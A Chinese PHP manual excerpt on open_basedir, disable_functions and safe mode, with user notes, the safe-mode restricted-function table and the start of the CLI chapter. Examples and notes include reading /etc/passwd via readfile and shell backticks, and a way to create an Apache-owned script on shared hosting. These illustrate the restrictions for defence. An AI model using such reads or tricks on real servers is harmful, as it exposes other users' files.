当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时，该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析，所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险，因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中，open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的方法关闭（例如某些虚拟主机中）。

在 Windows 中，用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时，父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀，不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”，如果它们存在的话。如果要将访问限制在仅为指定的目录，用斜线结束路径名。例如：“open_basedir = /dir/incl/”。

注: 支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

disable_functions string

本指令允许你基于安全原因禁止某些函数。接受逗号分隔的函数名列表作为参数。 disable_functions 不受安全模式的影响。

本指令只能设置在 php.ini 中。例如不能将其设置在 httpd.conf。

disable_classes string

本指令可以使你出于安全的理由禁用某些类。用逗号分隔类名。disable_classes 不受安全模式的影响。

本指令只能设置在 php.ini 中。例如不能将其设置在 httpd.conf。

可用性说明: 本指令自 PHP 4.3.2 起可用。

参见 register_globals，display_errors 和 log_errors。

当 safe_mode 设置为 on，PHP 将通过文件函数或其目录检查当前脚本的拥有者是否和将被操作的文件的拥有者相匹配。例如：
-rw-rw-r--    1 rasmus   rasmus       33 Jul  1 19:20 script.php
-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
运行 script.php
<?php
readfile('/etc/passwd');
?>
如果安全模式被激活，则将会导致以下错误：
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2

同时，或许会存在这样的环境，在该环境下，宽松的 GID 检查已经足够，但严格的 UID 检查反而是不适合的。可以用 safe_mode_gid 选项来控制这种检查。如果设置为 On 则进行宽松的 GID 检查；设置为 Off（默认值）则进行 UID 检查。

除了 safe_mode 以外，如果设置了 open_basedir 选项，则所有的文件操作将被限制在指定的目录下。例如：
<Directory /docroot>
  php_admin_value open_basedir /docroot
</Directory>
如果在设置了 open_basedir 选项后运行同样的 script.php，则其结果会是：
Warning: open_basedir restriction in effect. File is in wrong directory in
/docroot/script.php on line 2

也可以单独地屏蔽某些函数。请注意 disable_functions 选项不能在 php.ini 文件外部使用，也就是说无法在 httpd.conf 文件的按不同虚拟主机或不同目录的方式来屏蔽函数。如果将如下内容加入到 php.ini 文件：
disable_functions readfile,system
则会得到如下的输出：
Warning: readfile() has been disabled for security reasons in
/docroot/script.php on line 2

警告

当然，这些 PHP 限制不适用于可执行文件。

add a note add a note User Contributed Notes
mailrinke at yahoo dot com
15-Feb-2006 06:20
Note that safemode restricts setting the sticky bits, so this may not be an option
martin at example dot com
01-Nov-2005 08:07
On the note of php security

have a look at: http://www.suphp.org/Home.html

 suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.
hunter+phpnet at spysatcentral dot net
08-Aug-2005 01:25
I use mkdir just fine. You just have to make sure you set sticky bits on the directory you are creating the files in. Look at "man chmod" clipping:

4000    (the setuid bit).  Executable files with this bit set will run with effective uid set to the uid of the file owner. Directories with this bit set will force all files and sub-directories created in them to be owned by the directory owner and not by the uid of the creating process, if the underlying file system supports this feature: see chmod(2) and the suiddir option to mount(8).
mordae at mordae dot net
18-Jul-2005 10:19
It is possible to patch PHP/4 so it checks if just any directory in path is owned by proper user, e.g.
/home/mordae/www/dir/file
(where /home/mordae/www is mine and dir and file Apache's) will be readable if proper permissions set.
Read more at http://titov.net/safemodepatch/
jo at durchholz dot org
18-Jul-2005 04:18
Note that safe mode is largely useless. Most ISPs that offer Perl also offer other scripting languages (mostly Perl), and these other languages don't have the equivalent of PHP.
In other words, if PHP's safe mode won't allow vandals into your web presence, they will simply use Perl.
Also, safe mode prevents scripts from creating and using directories (because they will be owned by the WWW server, not by the user who uploaded the PHP script). So it's not only useless, it's also a hindrance.
The only realistic option is to bugger the Apache folks until they run all scripts as the user who's responsible for a given virtualhost or directory.
04-May-2005 12:37
To separate distinct open_basedir use : instead of on , or ; on unix machines.
plyrvt at mail dot ru
29-Apr-2005 06:14
[In reply to jedi at tstonramp dot com]
Safe mode is used "since the alternatives at the web server and OS levels aren't very realistic". Manual says about UNIX OS level and UNIX web-servers by design (Apache). It's not realistic for unix-like server, but for NT (IIS) each virtual host can run from different user account, so there is no need in Safe Mode restrictions at all, if proper NTFS rights are set.
bertrand dot gorge at epistema dot com
23-Sep-2004 08:58
Beware that when in safe mode, mkdir creates folders with apache's UID, though the files you create in them are of your script's UID (usually the same as your FTP uid).

What this means is that if you create a folder, you won't be able to remove it, nor to remove any of the files you've created in it (because those operations require the UID to be the same).

Ideally mkdir should create the folder with the script's UID, but this has already been discussed and will not be fixed in the near future.

In the meantime, I would advice NOT to user mkdir in safe mode, as you may end up with folders you can't remove/use.
Russ
31-Aug-2004 11:52
Sometimes you're stuck on a system you don't run and you can't control the setting of safe mode.  If your script needs to run on different hosts (some with safe mode, some without it), you can code around it with something like:

<?php
// Check for safe mode
if( ini_get('safe_mode') ){
   // Do it the safe mode way
}else{
   // Do it the regular way
}

?>
daniel dot gaddis at tlc dot state dot tx dot us
18-Mar-2004 03:03
on windows if multiple directories are wanted for safe_mode_exec_dir and open_basedir be sure to separate the paths with a semi colon and double quote the whole path string. For example:

safe_mode = On
safe_mode_exec_dir = "F:\WWW\HTML;F:\batfiles\batch"
open_basedir = "F:\WWW\HTML;F:\batfiles\batch"
uuganbat at datacom dot mn
26-Feb-2004 05:32
users executing shell scripts by filename.php, and I take the server in safe mode but some things are not working on web server, and disabled functions by php.ini but the simple commands in Unix are executing how  disable to execute shell scripts via *.php file.

example
<?php
echo `ls -l /etc/`; echo `more /etc/passwd`;
?>
matthias at remove-this dot hrz dot uni-kassel dot de
13-Nov-2003 01:38
Beware: Safe mode will not permit you to create new files in directories which have different owner than the owner of the script. This typically applies to /tmp, so contrary to Unix intuition, you will not be able to create new files there (even if the /tmp rights are set correctly).

If you need to write into files in /tmp (for example to put logfiles of your PHP application there) create them first on the command line by doing a

touch /tmp/whatever.log

as the same user who owns the PHP script. Then, provided the rest is configured correctly, the PHP script will be able to write into that file.
info at phpcoding dot net
08-Mar-2003 10:44
readfile() seems not always to take care of the safe_mode setting.
When the file you want to read with readfile() resides in the same directory as the script itself, it doesn`t matter who the owner of the file is, readfile() will work.
gtg782a at mail dot gatech dot edu
27-Jan-2003 01:14
zebz: The user would not be able to create a directory outside the namespace where he/she would be able to modify its contents. One can't create a directory that becomes apache-owned unless one owns the parent directory.

Another security risk: since files created by apache are owned by apache, a user could call the fputs function and output PHP code to a newly-created file with a .php extension, thus creating an apache-owned PHP script on the server. Executing that apache-owned script would allow the script to work with files in the apache user's namespace, such as logs. A solution would be to force PHP-created files to be owned by the same owner/group as the script that created them. Using open_basedir would be a likely workaround to prevent ascension into uncontrolled areas.
dizzy at roedu dot net
17-Jan-2003 03:25
For people using linux there is a very nice solution to the shared server problem. It's called vserver/ctx. Here is the URL: http://www.solucorp.qc.ca/miscprj/s_context.hc
10-Sep-2002 06:30
Some paranoid web managers also restrict the set_user_abort() function.

This constitutes a security issue for hosted web sites, because the hosted script cannot guarantee safe atomic operations on files in a reasonnable time (the time limit may still be in effect):

If set_user_abort() is disabled by the web admin, a user can corrupt the files of a hosted web site by simply sending many requests to the PHP script, and aborting it fast. In some cases that can be easily reproduced after a dozen of attempts, the script will be interrupted in the middle of a file or database update!

The only way for the hosted web site to protect itself in this case is to use a sleep() with a random but not null short time before performing atomic operations.

Web admins should then definitely NOT disable the set_user_abort() function which is vital to ensure atomic operations on hosted critical files or databases.

Instead they should only disable the set_time_limit() function, and set a constant but reasonnable time for any script to complete their atomic operations.
10-Sep-2002 06:19
disk_free_space($directory) is also restricted by the safe_mode ! It can also be completely forbidden as this would allow a script to test the available space in order to fill it with a giant file, preventing other scripts to use that space (notably in "/tmp").
disk_free_space() is then informational, and this does not prevent system quotas to limit the size of your files to a value lower than the available free space!
Most web server admins that propose PHP hosting, will implement quotas for your hosting account, but also on any shared resources such as temporary folders.
tom at tom420 dot com
19-Jul-2002 04:33
open_basedir only restricts file operations to files and directories under a specified directory, but you can still user system ("vi /home/somedir/somefile"), so safe_mode still has a place here as it is much more restrictive then open_basedir.

Also, to reply to someone who said that 'above' and 'below' was a matter of perspective, sure it is. Of course, a file is not under another one, etc, it just pointed by some inode. But in the common language we consider the root (/) to be above everything else, and /home is below root, and /home/myfile is below /home. There is no written standard, but most people (those I know anyway) agree on that syntax.
zebz at ihaveenoughspam_hotmail dot com
28-Apr-2002 11:42
All the filesystem-related functions (unlink, fopen, unlink, etc) seems to be restricted the same way in safe mode, at least on PHP 4.2. If the file UID is different *but* the directory (where the file is located) UID is the same, it will work.

So creating a directory in safe mode is usually a bad idea since the UID will be different from the script (it will be the apache UID) so it won't be possible to do anything with the files created on this directory.
devik at cdi dot cz
25-Jan-2002 08:45
Just to note, I created patch which allows VirtualHost to set User under which all (PHP too) runs. It is more secure than safe_mode. See luxik.cdi.cz/~devik/apache/ if you are interested
jedi at tstonramp dot com
08-Sep-2001 10:17
Many filesystem-related functions are not appropriately restricted when Safe Mode is activated on an NT server it seems.  I would assume that this is due to the filesystem not making use of UID.

In all of my scripts, no matter WHO owns the script (file Ownership-wise) or WHO owns the directory/file in question; both UIDs display

(getmyuid() and fileowner()) as UID = 0

This has the rather nasty side effect of Safe Mode allowing multiple filesystem operations because it believes the script owner and file/dir owner are one and the same.

While this can be worked around by the judicious application of proper filesystem privileges, it's still a "dud" that many of Safe Mode's securities are simply not there with an NT implementation.
add a note add a note

后退 | 起点 | 前进
数据库永久连接 | 上一级 | 被安全模式限制或屏蔽的函数


被安全模式限制或屏蔽的函数

以下安全模式列表可能不完整或不正确。

表格 42-2. 安全模式限制函数

函数名 | 限制
dbmopen() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
dbase_open() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
filepro() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
filepro_rowcount() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
filepro_retrieve() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
ifx_* | sql_safe_mode 限制, (!= safe mode)
ingres_* | sql_safe_mode 限制, (!= safe mode)
mysql_* | sql_safe_mode 限制, (!= safe mode)
pg_loimport() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
posix_mkfifo() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
putenv() | 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
chdir() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
dl() | 本函数在安全模式下被禁用。
backtick operator | 本函数在安全模式下被禁用。
shell_exec()（在功能上和 backticks 函数相同） | 本函数在安全模式下被禁用。
exec() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
mkdir() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
rmdir() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
rename() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
unlink() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
copy() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 (on source and target)
chgrp() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
chown() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。
chmod() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 另外，不能设置 SUID、SGID 和 sticky bits
touch() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。
symlink() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意：仅测试 target）
link() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意：仅测试 target）
apache_request_headers() | 在安全模式下，以“authorization”（区分大小写）开头的标头将不会被返回。
header() | 在安全模式下，如果设置了 WWW-Authenticate，当前脚本的 uid 将被添加到该标头的 realm 部分。
PHP_AUTH 变量 | 在安全模式下，变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何，您仍然可以使用 REMOTE_USER 来获取用户名称（USER）。（注意：仅 PHP 4.3.0 以后有效）
highlight_file(), show_source() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意，仅在 4.2.1 版本后有效）
parse_ini_file() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意，仅在 4.2.1 版本后有效）
set_time_limit() | 在安全模式下不起作用。
max_execution_time | 在安全模式下不起作用。
mail() | 在安全模式下，第五个参数被屏蔽。（注意，仅自 PHP 4.2.3 起受影响）
任何使用 php4/main/fopen_wrappers.c 的函数 | ??

add a note add a note User Contributed Notes
bananarama
15-May-2006 04:11
all file-handling and -management functions are restricted, just in case someones wondering why they're not listed here.
a script can run these functions on files without errors, if the files were created (are owned) by the same UID, the script was created (is owned) by.

example:
you upload a script, it is owned by UID 720. you upload a picture, it is owned by UID 720. the script creates a thumbnail of the picture. the thumb is owned by UID 30 (the server/apache). this makes it impossible (?) to run a gallery script, which checks for newly uploaded pictures in order to create and display thumbs of them if you want to check, if a thumbnail already exists. the script would be owned by UID 720, the thumb by UID 30.
you could upload a script which creates a file (e.g. from a text file) with .php ending. this script would be owned by UID 30 and could access the thumbs, but it couldnt read the upload pictures.

<?
  $data = fread(fopen("test.txt", "r"), filesize("test.txt"));

  $file = "test.php";
  if (!$file_handle = fopen($file,"a")) { echo "Cannot open file"; }
  if (!fwrite($file_handle, $data)) { echo "Cannot write to file"; }
  fclose($file_handle);

  chmod("test.php", 0777);
?>
zauker
22-Mar-2006 06:57
The SAFE_MODE handling of glob() needs a checkup for security reasons.

In short - always with SAFE_MODE on:

1) glob() can still fetch all filenames in a directory not owned by the
same UID as the user, if just the first file in the directory (or more
specific, the glob-pattern) happens to be owned by the same user as the
PHP-script.

2a) No warning is raised if glob is used on another owner's directory
and there is no match.

2b) In those cases where SAFE_MODE correctly prohibits glob() from
fetching a list of files, the warning still discloses the first
filename.

Solution: glob() in SAFE_MODE should be restricted in the same way as
opendir() is

see the link http://bugs.php.net/bug.php?id=28932
Jan
23-Oct-2005 05:46
It seems that glob and file_exists functions are also restricted in safe-mode.
lionel at mamane dot lu
31-Mar-2005 09:05
readfile() is probably also limited by safe mode
add a note add a note

后退 | 起点 | 前进
安全模式 | 上一级 | PHP 的命令行模式


PHP 的命令行模式

PHP 手册
后退 前进

章 43. PHP 的命令行模式

从版本 4.3.0 开始，PHP 提供了一种新类型的 SAPI（Server Application Programming Interface，服务端应用编程端口）支持，名为 CLI，意为 Command Line Interface，即命令行接口。顾名思义，该 SAPI 模块主要用作 PHP 的开发外壳应用。CLI SAPI 和其它 SAPI 模块相比有很多的不同之处，我们将在本章中详细阐述。值得一提的是，CLI 和 CGI 是不同的 SAPI，尽管它们之间有很多共同的行为。

CLI SAPI 最先是随 PHP 4.2.0 版本发布的，但仍旧只是一个实验性的版本，并需要在运行 ./configure 时加上 --enable-cli 参数。从 PHP 4.3.0 版本开始，CLI SAPI 成为了正式模块，--enable-cli 参数会被默认得设置为 on，也可以用参数 --disable-cli 来屏蔽。

从 PHP 4.3.0开始，CLI/CGI 二进制执行文件的文件名、位置和是否存在会根据 PHP 在系统上的安装而不同。在默认情况下，当运行 make 时，CGI 和 CLI 都会被编译并且分别放置在 PHP 源文件目录的 sapi/cgi/php 和 sapi/cli/php 下。可以注意到两个文件都被命名为了 php。在 make install 的过程中会发生什么取决于配置行。如果在配置的时候选择了一个 SAPI 模块，如 apxs，或者使用了 --disable-cgi 参数，则在 make install 的过程中，CLI 将被拷贝到 {PREFIX}/bin/php，除非 CGI 已经被放置在了那个位置。因此，例如，如果在配置行中有 --with--apxs，则在 make install 的过程中，CLI 将被拷贝到 {PREFIX}/bin/php。如果希望撤销 CGI 执行文件的安装，请在 make install 之后运行 make install-cli。或者，也可以在配置行中加上 --disable-cgi 参数。

注: 由于 --enable-cli 和 --enable-cgi 同时默认有效，因此，不必再配置行中加上 --enable-cli 来使得 CLI 在 make install 过程中被拷贝到 {PREFIX}/bin/php。

在 PHP 4.2.0 到 PHP 4.2.3 之间的 Windows 发行包中，CLI 的文件名为 php-cli.exe，相同文件夹下的 php.exe 为 CGI。从 PHP 4.3.0 版本开始，Windows 的发行包中 CLI 的执行文件为 php.exe，被放置在一个单独的名为 cli 的文件夹下，即 cli/php.exe。在 PHP 5 中，CLI 存在于主文件夹中，名为 php.exe，而 CGI 版本名为 php-cgi.exe。

从 PHP 5 起，一个名为 php-win.exe 的新文件随包发布。它相当于 CLI 版本，但是 php-win 不输出任何内容，便不提供控制台（不会弹出“DOS 窗口”）。这种方式类似于 php-gtk。需要使用 --enable-cli-win32 选项来配置它。

如何得知自己使用的是哪个 SAPI？: 在命令行下，运行 php -v 便能得知该 php 是 CGI 还是 CLI。请参考函数 php_sapi_name() 以及常量 PHP_SAPI。

注: 在 PHP 4.3.2 中加入了 Unix 的 man 页面。可以在命令行中键入 man php 来查看。

以下为 CLI SAPI 和其它 SAPI 模块相比的显著区别：

  • 与 CGI SAPI 不同，其输出没有任何头信息。

    尽管 CGI SAPI 提供了取消 HTTP 头信息的方法，但在 CLI SAPI 中并不存在类似的方法以开启 HTTP 头信息的输出。

    CLI 默认以安静模式开始，但为了保证兼容性，-q 和 --no-header 参数为了向后兼容仍然保留，使得可以使用旧的 CGI 脚本。

    在运行时，不会把工作目录改为脚本的当前目录（可以使用 -C 和 --no-chdir 参数来兼容 CGI 模式）。

    出错时输出纯文本的错误信息（非 HTML 格式）。

  • CLI SAPI 强制覆盖了 php.ini 中的某些设置，因为这些设置在外壳环境下是没有意义的。

    表格 43-1. 覆盖 php.ini 设置选项

    设置选项 | CLI SAPI 默认值 | 备注
    html_errors | FALSE | 无意义的 HTML 标记符会使得出错信息很凌乱，所以在外壳下阅读报错信息是十分困难的。因此将该选项的默认值改为 FALSE。
    implicit_flush | TRUE | 在命令行模式下，所有来自 print() 和 echo() 的输出将被立即写到输出端，而不作任何地缓冲操作。如果希望延缓或控制标准输出，仍然可以使用 output buffering 设置项。
    max_execution_time | 0（无限值） | 鉴于在外壳环境下使用 PHP 的无穷的可能性，最大运行时间被设置为了无限值。为 web 开发的应用程序可能只需运行几秒钟时间，而外壳应用程序的运行时间可能会长的多。
    register_argc_argv TRUE

    由于该设置为 TRUE，将总是可以在 CLI SAPI 中访问到 argc（传送给应用程序参数的个数）和 argv（包含有实际参数的数组）。

    对于 PHP 4.3.0，在使用 CLI SAPI 时，PHP 变量 $argc 和 $argv 已被注册并且设定了对应的值。而在这之前的版本，这两个变量在 CGI 或者 模块 版本中的建立依赖于将 PHP 的设置选项 register_globals 设为 on。除了版本和 register_globals 设定以外，可以随时通过调用 $_SERVER 或者 $HTTP_SERVER_VARS 来访问它们。例如：$_SERVER['argv']

    注: 这些设置无法在设置文件 php.ini 或任何指定的其它文件中被初始化为其它值。这些默认值被限制在所有其它的设置文件被解析后改变。不过，它们的值可以在程序运行的过程中被改变（尽管对于该运行过程来说，这些设置项是没有意义的）。

  • 为了减轻外壳环境下的工作，我们定义了如下常量：

    表格 43-2. CLI 专用常量

    常量名称 描 述
    STDIN 一个已打开的指向 stdin 的流。可以用如下方法来调用：
    <?php

    $stdin     = fopen('php://stdin', 'r');

    ?>
    如果想从 stdin 读取一行内容，可以使用
    <?php
    $line     = trim(fgets(STDIN)); // 从 STDIN 读取一行
    fscanf(STDIN, "%d\n", $number); // 从 STDIN 读取数字
    ?>
    STDOUT 一个已打开的指向 stdout 的流。可以用如下方式来调用：
    <?php

    $stdout     = fopen('php://stdout', 'w');

    ?>
    STDERR 一个已打开的指向 stderr 的流。可以用如下方式来调用：
    <?php

    $stderr     = fopen('php://stderr', 'w');

    ?>

    有了以上常量，就无需自己建立指向诸如 stderr 的流，只需简单的使用这些常量来代替流指向：
    php -r 'fwrite(STDERR, "stderr\n");'
    无需自己来关闭这些流，PHP 会自动完成这些操作。

  • CLI SAPI 不会将当前目录改为已运行的脚本所在的目录。

    以下范例显示了本模块与 CGI SAPI 模块之间的不同：
    <?php
    // 名为 test.php 的简单测试程序
    echo getcwd(), "\n";
    ?>

    在使用 CGI 版本时，其输出为
    $ pwd
/tmp

$ php-cgi -f another_directory/test.php
/tmp/another_directory

    明显可以看到 PHP 将当前目录改成了刚刚运行过的脚本所在的目录。

    使用 CLI SAPI 模式，得到：
    $ pwd
/tmp

$ php -q another_directory/test.php
/tmp
    这使得在利用 PHP 编写外壳工具时获得了很大的便利。

    注: 可以在命令行运行时给该 CGI SAPI 加上 -C 参数，使其支持 CLI SAPI 的功能。

以下是 PHP 二进制文件（即 php.exe 程序）提供的命令行模式的选项参数，随时可以运行带 -h 参数的 PHP 命令来查询这些参数。
Usage: php [options] [-f] <file> [--] [args...]
       php [options] -r <code> [--] [args...]
       php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
       php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
       php [options] -- [args...]
       php [options] -a

  -a               Run interactively
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

CLI SAPI 模块有以下三种不同的方法来获取要运行的 PHP 代码：

  1. 让 PHP 运行指定文件。

    php my_script.php

php -f my_script.php

    以上两种方法（使用或不使用 -f 参数）都能够运行给定的 my_script.php 文件。可以选择任何文件来运行，指定的 PHP 脚本并非必须要以 .php 为扩展名，它们可以有任意的文件名和扩展名。

  2. 在命令行直接运行 PHP 代码。

    php -r 'print_r(get_defined_constants());'

    在使用这种方法时，请注意外壳变量的替代及引号的使用。

    注: 请仔细阅读以上范例，在运行代码时没有开始和结束的标记符！加上 -r 参数后，这些标记符是不需要的，加上它们会导致语法错误。

  3. 通过标准输入（stdin）提供需要运行的 PHP 代码。

    以上用法提供了非常强大的功能，使得可以如下范例所示，动态地生成 PHP 代码并通过命令行运行这些代码：
    $ some_application | some_filter | php | sort -u >final_output.txt

以上三种运行代码的方法不能同时使用。

和所有的外壳应用程序一样，PHP 的二进制文件（php.exe 文件）及其运行的 PHP 脚本能够接受一系列的参数。PHP 没有限制传送给脚本程序的参数的个数（外壳程序对命令行的字符数有限制，但通常都不会超过该限制）。传递给脚本的参数可在全局变量 $argv 中获取。该数组中下标为零的成员为脚本的名称（当 PHP 代码来自标准输入获直接用 -r 参数以命令行方式运行时，该名称为“-”）。另外，全局变量 $argc 存有 $argv 数组中成员变量的个数（而非传送给脚本程序的参数的个数）。

只要传送给脚本的参数不是以 - 符号开头，就无需过多的注意什么。向脚本传送以 - 开头的参数会导致错误，因为 PHP 会认为应该由它自身来处理这些参数。可以用参数列表分隔符 -- 来解决这个问题。在 PHP 解析完参数后，该符号后所有的参数将会被原样传送给脚本程序。

# 以下命令将不会运行 PHP 代码，而只显示 PHP 命令行模式的使用说明：
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]

# 以下命令将会把“-h”参数传送给脚本程序，PHP 不会显示命令行模式的使用说明：
$ php -r 'var_dump($argv);' -- -h
array(2) {
  [0]=>
  string(1) "-"
  [1]=>
  string(2) "-h"
}

除此之外，还有另一个方法将 PHP 用于外壳脚本。可以在写一个脚本，并在第一行以 #!/usr/bin/php 开头，在其后加上以 PHP 开始和结尾标记符包含的正常的 PHP 代码，然后为该文件设置正确的运行属性（例如：chmod +x test）。该方法可以使得该文件能够像外壳脚本或 PERL 脚本一样被直接执行。
#!/usr/bin/php
<?php
    var_dump($argv);
?>

假设改文件名为 test 并被放置在当前目录下，可以做如下操作：
$ chmod +x test
$ ./test -h -- foo
array(4) {
  [0]=>
  string(6) "./test"
  [1]=>
  string(2) "-h"
  [2]=>
  string(2) "--"
  [3]=>
  string(3) "foo"
}

正如所看到的，在向该脚本传送以 - 开头的参数时，脚本仍然能够正常运行。

PHP 4.3.3 以来有效的长选项:

表格 43-3. 命令行选项

选项名称 | 长名称 | 说明
-a --interactive

交互式运行 PHP。如果编译 PHP 时加入了 Readline 扩展（Windows 下不可用），那将会得到一个很好的外壳，包括一个自动完成的功能（例如可以在键入变量名的时候，按下 TAB 键，PHP 会自动完成该变量名）以及命令历史记录，可以用上下键来访问。历史记录存在 ~/.php_history 文件中。

注: 通过 auto_prepend_file 和 auto_append_file 包含的文件在此模式下会被解析，但有些限制，例如函数必须在被调用之前定义。

-c --php-ini

用该参数，可以指定一个放置 php.ini 文件的目录，或者直接指定一个自定义的 INI 文件（其文件名可以不是 php.ini），例如：
$ php -c /custom/directory/ my_script.php

$ php -c /custom/directory/custom-file.ini my_script.php
如果不指定此选项，PHP 将在默认位置搜索文件。

-n --no-php-ini

完全忽略 php.ini。此参数在 PHP 4.3.0 以后有效。

-d --define

用该参数可以自行设置任何可以在 php.ini 文件中设置的配置选项的值，其语法为：
-d configuration_directive[=value]

例子（因版面原因而折行显示）：
# 取值部分被省略，将会把配置选项设为 "1"
$ php -d max_execution_time
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"

# 取值部分为空白，将会把配置选项设为 ""
php -d max_execution_time=
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(0) ""

# 配置选项将被设置成为任何 '=' 字符之后的值
$  php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$  php
        -d max_execution_time=doesntmakesense
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(15) "doesntmakesense"

-e --profile-info

激活扩展信息模式，被用于调试／测试。

-f --file

解析并运行 -f 选项给定的文件名。该参数为可选参数，可以省略，仅指明需要运行的文件名即可。

-h and -? | --help and --usage | 使用该参数，可以得到完整的命令行参数的列表及这些参数作用的简单描述。
-i | --info | 该命令行参数会调用 phpinfo() 函数并显示出结果。如果 PHP 没有正常工作，建议执行 php -i 命令来查看在信息表格之前或者对应的地方是否有任何错误信息输出。请注意当使用 CGI 摸索时，输出的内容为 HTML 格式，因此输出的信息篇幅较大。
-l --syntax-check

该参数提供了对指定 PHP 代码进行语法检查的方便的方法。如果成功，则向标准输出写入 No syntax errors detected in <filename> 字符串，并且外壳返回值为 0。如果失败，则输出 Errors parsing <filename> 以及内部解析器错误信息到标准输出，同时外壳返回值将别设置为 255。

该参数将无法检查致命错误（如未定义函数），如果也希望检测致命错误，请使用 -f 参数。

注: 该参数不能和 -r 一同使用。

-m --modules

使用该参数，PHP 将打印出内置以及已加载的 PHP 及 Zend 模块：
$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

-r --run

使用该参数可以在命令行内运行单行 PHP 代码。无需加上 PHP 的起始和结束标识符（<?php 和 ?>），否则将会导致语法解析错误。

注: 使用这种形式的 PHP 时，应注意避免和外壳环境进行的命令行参数替换相冲突。

显示语法解析错误的范例
$ php -r "$foo = get_defined_constants();"
Command line code(1) : Parse error - parse error, unexpected '='
这里的问题在于即使使用了双引号 "，sh/bash 仍然实行了参数替换。由于 $foo 没有被定义，被替换后它所在的位置变成了空字符，因此在运行时，实际被 PHP 读取的代码为：
$ php -r " = get_defined_constants();"
